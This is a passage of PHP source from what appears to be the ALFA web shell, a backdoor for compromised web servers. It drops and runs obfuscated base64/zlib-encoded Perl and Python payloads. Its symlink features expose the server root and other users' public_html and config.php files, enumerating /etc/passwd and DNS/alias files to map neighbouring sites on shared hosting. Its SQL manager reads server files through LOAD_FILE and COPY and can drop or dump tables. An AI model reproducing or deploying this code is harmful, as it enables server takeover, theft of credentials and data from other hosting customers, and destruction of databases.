	$perl = '#!/usr/bin/perl   -I/usr/local/bandmin'."\n".'use MIME::Base64;use Compress::Zlib;my $alfa_data="'.__ALFA_DATA_FOLDER__.'";eval(Compress::Zlib::memGunzip(decode_base64("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")));';
	$py = '#!/usr/bin/python'."\nimport zlib, base64\nalfa_data='".__ALFA_DATA_FOLDER__."'\n".'eval(compile(zlib.decompress(base64.b64decode("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")),\'<string>\',\'exec\'))';
	$cginame = "symperl.alfa";
	$source = $perl;
	$lang = "perl";
	if($_POST["alfa2"]=="sympy"){
		$cginame = "pysymlink.alfa";
		$source = $py;
		$lang = "python";
	}
	@__write_file($cginame,$source);
	@chmod($cginame,0755);
	echo __pre();
	$resource = alfaEx("{$lang} {$cginame} {$sympath}",false,true,true);
	if(strlen($resource) == 0){
		echo AlfaiFrameCreator('cgialfa/'.$cginame);
	}else{
		echo $resource;
	}
}
if(isset($_POST['alfa4']) && $_POST['alfa4']=='SymFile'){
if(function_exists('symlink')||_alfa_can_runCommand(true,true)){
AlfaNum(9,10);
echo __pre().'
<center><p><div class="txtfont_header">| Symlink File And Directory |</div></p><form onSubmit="g(\'symlink\',null,null,null,null,\'SymFile\',this.file.value,this.symfile.value,this.symlink.value);return false;" method="post">
<input type="text" name="file" placeholder="Example : /home/user/public_html/config.php" size="60"/><br />
<input type="text" name="symfile" placeholder="Example : alfa.txt" size="60"/>
<p><input type="submit" value=" " name="symlink" /></p></form></center>';
$path = $_POST['alfa5'];
$symname = $_POST['alfa6'];
$solevisible58 = $_POST['alfa7'];
if($solevisible58){
$new_name = str_replace(".", "_", basename($symname));
$rand_dir = $new_name.rand(111,9999);
$sym_dir = 'alfasymlinkphp/'.$rand_dir.'/';
@mkdir($sym_dir, 0777, true);
alfacgihtaccess('sym', $sym_dir, $symname);
_alfa_symlink("$path","$sym_dir/$symname");
echo __pre();
echo '<center><b><font color="white">Click >> </font><a target="_blank" href="'.__ALFA_DATA_FOLDER__."/".$sym_dir.'" ><b><font size="4">'.$symname.'</font></b></a></b></center>';
}
}else{echo "<center><pre class=ml1 style='margin-top:5px'><b><font color=\"#FFFFFF\">[+] Symlink Function Disabled !</b></font></pre></center>";}
}
if(isset($_POST['alfa2']) && $_POST['alfa2']=='symphp'){
$cant_symlink = true;
if(function_exists('symlink')||_alfa_can_runCommand(false,false)){
@mkdir('alfasymlink',0777);
alfacgihtaccess('sym','alfasymlink/');
_alfa_symlink('/','alfasymlink/root');
$table_header = "<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><table id='tbl_sympphp' align='center' width='40%' class='main' border='1'><td><span style='color:#FFFF01;'><b>*</span></b></td><td><span style='color:#00A220;'><b>Domains</span></b></td><td><span style='color:#FFFFFF;'><b>Users</span></b></td><td><span style='color:#FF0000;'><b>symlink</span></b></td>";
if(_alfa_file_exists("/etc/named.conf") && !_alfa_file_exists("/etc/virtual/domainowners") && _alfa_file_exists("/etc/valiases/")){
echo "<center>";
$lines = array();
$anony_domains = array();
$anonymous_users = array();
$f_black = array();
$error = false;
$anonymous = false;
$makepwd = "/home/{user}/public_html/";
$domains = alfaGetDomains();
$lines = $domains["lines"];
$state = $domains["state"];
$is_posix = function_exists("posix_getpwuid") && function_exists("fileowner");
$can_runcmd = _alfa_can_runCommand(false,false);
if(!$is_posix && !$can_runcmd){
	$anonymous = true;
	$anony_domains = $domains["lines"];
	$lines = _alfa_file('/etc/passwd');
}
echo $table_header;
$count=1;
$template = '<tr><td><span style="color:#FFFF01;">{count}</span></td><td style="text-align:left;"><a target="_blank" href="{http}"/><span style="color:#00A220;margin-left:10px;"><b>{domain}</b> </a></span></td><td style="text-align:left;"><span style="color:#FFFFFF;margin-left:10px;"><b>{owner}</font></b></td><td><a href="'.__ALFA_DATA_FOLDER__.'/alfasymlink/root{sympath}" target="_blank"><span style="color:#FF0000;">Symlink</span></a></td></tr>';
foreach($lines as $line){
	$domain = "";
	$owner = "";
	if($anonymous){
		$explode = explode(":", $line);
		$owner = $explode[0];
		$owner_len = strlen($owner) - 1;
		$userid = $explode[2];
		if((int)$userid < 500)continue;
		$domain = "[?????]";
		$temp_black = array();
		$finded = false;
		foreach($anony_domains as $anony){
			if($state == "named.conf"){
				if(@strstr($anony, 'zone')){
					preg_match_all('#zone "(.*)"#',$anony, $data);
					$domain = $data[1][0];
				}else{
					continue;
				}
			}elseif($state == "named" || $state == "valiases"){
				if($anony == "." || $anony == "..")continue;
				if($state == "named")$anony = rtrim($anony, ".db");
				$domain = $anony;
			}
			$sub_domain = str_replace(array("-","."), "", $domain);
			if(substr($owner, 0, $owner_len) == substr($sub_domain, 0, $owner_len)){
				if(in_array($owner.$domain, $temp_black))continue;
				$sympath = str_replace("{user}", $owner, $makepwd);
				$http = "http://".$domain;
				echo str_replace(array("{count}", "{http}", "{domain}", "{owner}", "{sympath}"), array($count, $http, $domain, $owner, $sympath), $template);
				$count++;
				$temp_black[] = $owner.$domain;
				$finded = true;
			}
		}
		if(!$finded){
			$anonymous_users[] = $owner;
		}
	}else{
 		if($state == "named.conf"){
			if(@strstr($line, 'zone')){
				preg_match_all('#zone "(.*)"#',$line, $data);
				$domain = $data[1][0];
			}else{
				continue;
			}
		}elseif($state == "named" || $state == "valiases"){
			if($line == "." || $line == "..")continue;
			if($state == "named")$line = rtrim($line, ".db");
			$domain = $line;
		}
		if(strlen(trim($domain)) > 2 && $state != "passwd"){
			if(!_alfa_file_exists('/etc/valiases/'.$domain, false))continue;
			if($is_posix){
				$user = @posix_getpwuid(@fileowner('/etc/valiases/'.$domain));
				$owner = $user["name"];
			}elseif($can_runcmd){
				$owner = alfaEx("stat -c '%U' /etc/valiases/".$domain,false,false);
			}
		}
	}
	if(!$anonymous){
		if(strlen($owner)==0 || in_array($owner.$domain, $f_black))continue;
		$sympath = str_replace("{user}", $owner, $makepwd);
		$http = "http://".$domain;
		if($state == "passwd"){
			$http = "javascript:alert('we cant find domain...')";
		}
		echo str_replace(array("{count}", "{http}", "{domain}", "{owner}", "{sympath}"), array($count, $http, $domain, $owner, $sympath), $template);
		$count++;
		$f_black[] = $owner.$domain;
	}
}
if($anonymous){
	foreach($anonymous_users as $owner){
		$sympath = str_replace("{user}", $owner, $makepwd);
		$http = "javascript:alert('we cant find domain...')";
		echo str_replace(array("{count}", "{http}", "{domain}", "{owner}", "{sympath}"), array($count, $http, "[????]", $owner, $sympath), $template);
		$count++;
	}
}
$cant_symlink = false;
}else{
$is_direct = false;
$makepwd = alfaMakePwd();
if(_alfa_file_exists("/etc/virtual/domainowners")){
	$makepwd = "/home/{user}/public_html";
	$is_direct = true;
}
$sole = _alfa_file("/etc/virtual/domainowners");
$count=1;
echo $table_header;
$template = '<tr><td><span style="color:#FFFF01;">{count}</span></td><td style="text-align:left;"><a target="_blank" href="http://www.{url}"/><span style="color:#00A220;margin-left:10px;"><b>{url}</b> </a></span></td><td style="text-align:left;"><span style="color:#FFFFFF;margin-left:10px;"><b>{user}</font></b></td><td><a href="'.__ALFA_DATA_FOLDER__.'/alfasymlink/root{cwd}" target="_blank"><span style="color:#FF0000;">Symlink</span></a></td></tr>';
if($sole){
	foreach($sole as $visible){
		if(@strstr($visible,":")){
			$solevisible = explode(':', $visible);
			$cwd = str_replace("{user}", trim($solevisible[1]), $makepwd);
			echo str_replace(array("{count}","{user}","{url}","{cwd}"), array($count++, trim($solevisible[1]), trim($solevisible[0]), $cwd), $template);
		}
	}
}else{
	$passwd = _alfa_file("/etc/passwd");
	if($passwd){
		$html = "";
		$is_named = false;
		$users = array();
		$domains = array();
		$uknowns = array();
		foreach($passwd as $user){
			$user = trim($user);
			$expl = explode(":", $user);
			if((int)$expl[2] < 500)continue;
			$users[$expl[0]] = $expl[5];
		}
		$site_domains = @scandir("/etc/virtual/");
		if(!$site_domains){
			$site_domains = alfaEx("ls /etc/virtual/");
			$site_domains = explode("\n", $site_domains);
			if(!$site_domains){
				$site_domains = _alfa_file("/etc/named.conf");
				if($site_domains){$is_named = true;}
			}
		}
		foreach($site_domains as $line){
			if($is_named){
				if(@strstr($line, 'zone')){
					preg_match_all('#zone "(.*)"#',$line, $data);
					$domain = $data[1][0];
					if(strlen($domain  > 2) && !empty($domain)){
						$domains[] = $domain;
					}
				}
			}else{
				$domains[] = $line;
			}
		}
		$x = 1;
		foreach($users as $user => $home){
			foreach($domains as $domain){
				$user_len = strlen($user) - 1;
				$sub_domain = str_replace(array("-","."), "", $domain);
				$five_user = substr($user, 0,$user_len);
				$five_domain = substr($sub_domain, 0,$user_len);
				if($five_user == $five_domain){
					if($is_direct){
						$cwd = str_replace("{user}", $user, $makepwd);
					}else{
						$expl = explode("}/", $makepwd);
						$cwd = $home."/".$expl[1];
					}
					$html .= str_replace(array("{count}","{user}","{url}", "{cwd}"), array($x++, $user, $domain, $cwd), $template);
				}else{
					$uknowns[$user] = $home;
				}
			}
		}
		$uknowns = array_unique($uknowns);
		foreach($uknowns as $user => $home){
			if($is_direct){
				$cwd = str_replace("{user}", $user, $makepwd);
			}else{
				$expl = explode("}/", $makepwd);
				$cwd = $home."/".$expl[1];
			}
			$html .= str_replace(array("{count}","{user}","{url}", "{cwd}"), array($x++, $user, "[?????]", $cwd), $template);
		}
		echo($html);
	}
}
echo "</table>";
$cant_symlink = false;
}
}else{
	echo "<pre class=ml1 style='margin-top:5px'><b><font color=\"#FFFFFF\">[+] Symlink Function Disabled !</b></font></pre></center>";
	$cant_symlink = false;
}
if($cant_symlink)echo '<pre id="strOutput" style="margin-top:5px" class="ml1"><br><font color="#FFFFFF">Error...</font></b><br>';
echo "</center></table>";
}
echo "</div>";
alfafooter();
}
function alfasql(){
class DbClass{
public $type;
public $link;
public $res;
public $mysqli_connect_error = false;
public $mysqli_connect_error_msg = "";
function __construct($type){
$this->type = $type;
}
function connect($host, $user, $pass, $dbname){
switch($this->type){
case 'mysql':
if($this->link = @mysqli_connect($host,$user,$pass,$dbname)){
	return true;
}else{
	$this->mysqli_connect_error = true;
	$this->mysqli_connect_error_msg = mysqli_connect_error();
	return false;
}
break;
case 'pgsql':
$host = explode(':', $host);
if(!$host[1]) $host[1]=5432;
if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
break;
}
return false;
}
function selectdb($db){
switch($this->type){
case 'mysql':
if(@mysqli_select_db($db))return true;
break;
}
return false;
}
function query($str){
switch($this->type){
case 'mysql':
return $this->res = @mysqli_query($this->link,$str);
break;
case 'pgsql':
return $this->res = @pg_query($this->link,$str);
break;
}
return false;
}
function fetch(){
$res = func_num_args()?func_get_arg(0):$this->res;
switch($this->type){
case 'mysql':
return @mysqli_fetch_assoc($res);
break;
case 'pgsql':
return @pg_fetch_assoc($res);
break;
}
return false;
}
function listDbs(){
switch($this->type){
case 'mysql':
return $this->query("SHOW databases");
break;
case 'pgsql':
return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
break;
}
return false;
}
function listTables(){
switch($this->type){
case 'mysql':
return $this->res = $this->query('SHOW TABLES');
break;
case 'pgsql':
return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
break;
}
return false;
}
function error(){
switch($this->type){
case 'mysql':
return @mysqli_error($this->link);
break;
case 'pgsql':
return @pg_last_error();
break;
}
return false;
}
function setCharset($str){
switch($this->type){
case 'mysql':
if(function_exists('mysql_set_charset'))
return @mysqli_set_charset($this->link,$str);
else
$this->query('SET CHARSET '.$str);
break;
case 'pgsql':
return @pg_set_client_encoding($this->link, $str);
break;
}
return false;
}
function loadFile($str){
switch($this->type){
case 'mysql':
return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
break;
case 'pgsql':
$this->query("CREATE TABLE solevisible(file text);COPY solevisible FROM '".addslashes($str)."';select file from solevisible;");
$r=array();
while($i=$this->fetch())
$r[] = $i['file'];
$this->query('drop table solevisible');
return array('file'=>implode("\n",$r));
break;
}
return false;
}
};
$db = new DbClass($_POST['type']);
alfahead();
$form_visibility = "table";
if(isset($_POST['sql_host'])){
	$connection_db = $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
	if($connection_db && !empty($_POST['sql_base'])){
		$form_visibility = "none";
	}
}
$database_list = array();
echo "
<div class='header' style='min-height:300px;'>".($form_visibility!="none"?"<center><div class='txtfont_header'>| Sql Manager |</div><p>".getConfigHtml('all')."</p></center><div style='text-align:center;margin-bottom: 10px;'><button class='connection-his-btn db-opt-id' onclick='alfaShowConnectionHistory(this);' mode='on'>Connection History</button><div class='connection_history_holder'></div></div>":"")."
<div class='sf' class='db-opt-id'><table style='margin: 0 auto;".($form_visibility=="none"?"display:none;":"")."' cellpadding='2' cellspacing='0'><tr>
<td><div class=\"txtfont\">TYPE</div></td><td><div class=\"txtfont\">HOST</div></td><td><div class=\"txtfont\">DB USER</div></td><td><div class=\"txtfont\">DB PASS</div></td><td><div class=\"txtfont\">DB NAME</div></td><td></td></tr><tr>
<td><select name='type'><option value='mysql' selected>mysql</option></select></td>
<td><input type='text' name='sql_host' id='db_host' value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
<td><input type='text' name='sql_login' id='db_user' value='". (empty($_POST['sql_login'])?'':htmlspecialchars($_POST['sql_login'])) ."'></td>
<td><input type='text' name='sql_pass' id='db_pw' value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
$tmp = "<input type='text' name='sql_base' id='db_name' value='". (empty($_POST['sql_base'])?'':htmlspecialchars($_POST['sql_base'])) ."'>";
if(isset($_POST['sql_host'])){
if($connection_db){
$db->setCharset('utf8');
$db->listDbs();
echo "<select name=sql_base><option value=''></option>";
while($item = $db->fetch()) {
list($key, $value) = each($item);
$database_list[] = $value;
echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
}
echo '</select>';
}else{
	echo $tmp;
}
}else
echo $tmp;
$curr_mysql_id = $_POST['current_mysql_id'];
echo "</td>
<td><button onclick='fs(this);return false;' class='db-opt-id db-connect-btn'>Connect</button></td>
<td><input type='checkbox' name='sql_count' value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> <div class=\"txtfont\">count the number of rows</div></td>
</tr>
</table>";
if($db->mysqli_connect_error){
	echo '<div style="text-align: center;font-size: 17px;margin-top: 18px;">'.$db->mysqli_connect_error_msg.'</div>';
}
if(!empty($curr_mysql_id)){
	$sql_title_db = "";
	if(!empty($_POST['sql_base'])){
		$sql_title_db = "d.querySelector('#tab_".$curr_mysql_id." span').innerHTML='".addslashes($_POST['sql_base'])."';";
	}
	echo "<script>mysql_cache['".$curr_mysql_id."']['host']='".addslashes($_POST['sql_host'])."';mysql_cache['".$curr_mysql_id."']['user']='".addslashes($_POST['sql_login'])."';mysql_cache['".$curr_mysql_id."']['pass']='".addslashes($_POST['sql_pass'])."';mysql_cache['".$curr_mysql_id."']['db']='".addslashes($_POST['sql_base'])."';mysql_cache['".$curr_mysql_id."']['charset']='".addslashes($_POST['charset'])."';mysql_cache['".$curr_mysql_id."']['type']='".addslashes($_POST['type'])."';mysql_cache['".$curr_mysql_id."']['count']='".addslashes($_POST['sql_count'])."';".$sql_title_db."alfaConnectionHistoryUpdate();</script>";
}
if(isset($db) && $db->link){
if(!empty($_POST['sql_base'])){
echo "<div class='mysql-main'><div mode='block' onclick='alfaMysqlTablePanelCtl(this);' class='tables-panel-ctl db-opt-id'>&#x3C;&#x3C;</div><div class='mysql-tables'><div><input placeholder=\"Filter Table\" style='padding: 0;margin-left: 11px;text-align:center;' type='text' name='filter_all'><button class='db-opt-id' onclick='alfaMysqlFilterAllTable(this);return false;'>Search</button></div><div class='block'><a sql_count='".(empty($_POST['sql_count'])?"false":"true")."' mode='closed' onclick='alfaMysqlFilterAllTable(this,true);' class='expander parent-expander db-opt-id' href='javascript:void(0);'><img src='http://solevisible.com/icons/menu/b_plus.png' title='Expand/Collapse All DataBases' alt='Expand/Collapse All DataBases'></a></div><ul style='margin-top: 28px;'>";
foreach ($database_list as $db_name) {
	echo '<li><div class="block"><i></i><b></b><a sql_count="'.(empty($_POST['sql_count'])?"false":"true").'" db_target="'.$db_name.'" onclick="alfaMysqlExpander(this);" class="expander cls-'.$db_name.'-expander db-opt-id" href="javascript:void(0);"><img src="http://solevisible.com/icons/menu/'.($db_name == $_POST['sql_base']?"b_minus.png":"b_plus.png").'" title="Expand/Collapse" alt="Expand/Collapse"></a></div><span class="db_name">'.$db_name.'</span><div class="clearfloat"></div><div db_name="'.$db_name.'" mode="'.($db_name == $_POST['sql_base']?"loaded":"no").'" class="list_container cls-'.$db_name.'"><div>';
	if($db_name == $_POST['sql_base']){
		$db->selectdb($_POST['sql_base']);
		$tbls_res = $db->listTables();
		echo '<ul><li><div class="block"><i></i><b></b></div><div><input style="padding: 0;margin-left: 11px;text-align:center;" type="text" class="db-opt-id" target=".cls-'.$db_name.'" placeholder="Filter Table" onkeyup="alfaMysqlFilterTable(this);" name="filter"></div></li>';
		while($item = $db->fetch($tbls_res)){
		list($key, $value) = each($item);
		if(!empty($_POST['sql_count']))
		$n = $db->fetch($db->query('SELECT COUNT(*) as n FROM `'.$value.'`'));
		$value = htmlspecialchars($value);
		echo "<li><div class='block'><i></i><b></b></div><div class='tables-row'><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a class='db-opt-id' db_target='".$db_name."' href='javascript:void(0);' onclick=\"alfaLoadTableData(this,'".$value."')\"><span class='mysql_tables' style='font-weight:unset;'>".$value."</span></a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small><span style='font-weight:unset;' class='mysql_table_count'>({$n['n']})</span></small>") . "</div></li>";
		}
		echo '</ul><div style="margin-left: 26px;margin-bottom: 10px;margin-top: 10px;"><input onchange="alfaMysqlTablesEvil(this);" class="db-opt-id" target=".cls-'.$db_name.'" type="checkbox" class="db-opt-id"><select onchange="alfaMysqlTablesDumpDrop(this);" class="db-opt-id" target=".cls-'.$db_name.'" class="db-opt-id" name="tables_evil" style="padding: 0;width: 100px;"><option selected>drop</option><option>dump</option></select> <button onclick="alfaMysqlTablesDumpDropBtn(this);return false;" class="db-opt-id" db_target="'.$db_name.'" target=".cls-'.$db_name.'" class="db-opt-id">Do it</button><div class="dump-file-holder" style="display:none;margin-left:20px;margin-top: 5px;"><input style="padding: 0;text-align:center;" type="text" placeholder="dump.sql" name="dump_file"></div></div>';
	}
	echo "</div></li>";
}
echo "</ul></div><div class='mysql-query-results'><div class='mysql-query-result-tabs'><div class='db-opt-id mysql-query-selected-tab' target='.mysql-query-result-content' onclick='alfaMysqlTabCtl(this);'>Result</div><div class='db-opt-id' target='.mysql-query-form' onclick='alfaMysqlTabCtl(this);'>Query</div><div class='db-opt-id' target='.mysql-search-area' onclick='alfaMysqlTabCtl(this);'>Search</div><div class='db-opt-id' target='.mysql-structure' onclick='alfaMysqlTabCtl(this);'>Structure</div><div class='db-opt-id' target='.mysql-insert-row' onclick='alfaMysqlTabCtl(this);'>Insert</div><div style='display:none;' class='db-opt-id' target='.mysql-edit-row' onclick='alfaMysqlTabCtl(this);'>Edit</div></div><div class='mysql-query-content mysql-insert-row mysql-hide-content'></div><div class='mysql-query-content mysql-edit-row mysql-hide-content'></div><div class='mysql-query-content mysql-search-area mysql-hide-content'></div><div class='mysql-query-content mysql-structure mysql-hide-content'></div><div class='mysql-query-content mysql-query-form mysql-hide-content'><div style='margin-bottom: 5px;'><span>Query:</span></div><textarea name='query' style='width:90%;height:100px'></textarea><p><div style='float:left;margin-left: 30px;'><input class='button db-opt-id' db_target='".$_POST['sql_base']."' onclick='alfaMysqlQuery(this);return false;' type='submit' value=' '></div></p></div><div class='mysql-query-content mysql-query-result-content'><div class='mysql-query-result-header'><div style='margin-bottom: 10px;' class='mysql-query-reporter'></div><div class='mysql-query-pager'></div></div><div class='mysql-query-table'></div></div></form></td></tr>";
}
echo "</table></div>";
echo "</div>";
}else{
echo htmlspecialchars($db->error());
}
echo '</div>';
alfafooter();
}
function alfaSql_manager_api(){
	$db = $_POST["alfa1"];
	$type = $_POST["alfa2"];
	$sql_count = $_POST["alfa3"] == "true" ? true : false;
